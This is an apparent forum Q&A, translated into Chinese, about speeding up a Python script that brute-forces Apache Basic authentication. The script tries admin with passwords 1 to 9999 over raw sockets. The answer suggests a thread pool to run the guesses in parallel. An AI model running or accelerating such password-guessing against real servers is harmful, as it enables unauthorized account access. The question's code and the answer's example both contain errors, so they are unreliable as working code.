2013-10-17 44 views
1

我希望對Apache授權使用快速蠻力測試,而不使用urllib或套接字lib編碼。但是,connect()是一個非常緩慢的任務(400/m)。如何在重複使用connect()時提高效率?

如何在重複使用connect()函數 (沒有多進程方法;僅在代碼級別)時提高效率?

for num in xrange(1,10000): 
    s = socket(AF_INET, SOCK_STREAM) 
    s.connect((ip,port)) 
    s.send("HEAD /test.php\nAuthorization: Basic "+b64encode("admin:"+str(num))+"\n\n") 
    if '200 OK' in(s.recv(32)) :  
     print 'got password !',str(num) 
    s.close() 
+0

在HTTP的行終止符\ r \ N,不是n \。 – EJP

回答

0

您可以使用線程池。看看multiprocessing.pool.ThreadPool包。您可以創建一個大小爲N的池,然後使用for循環中的imap_unordered()爲每個線程進行連接,發送和接收。

你也可以使用multiprocessing.pool.Pool作爲一個進程池(相對於線程),但是這聽起來像是I/O綁定的,所以ThreadPool會更好,恕我直言。

例如:

from multiprocessing.pool import ThreadPool as Pool 
import random 
import time 

def do_something(x): 
    delay = random.randint(1,3) 
    time.sleep(delay) 
    return x,delay 

for i, result in pool.imap_unordered(do_something, range(10)): 
    print i, result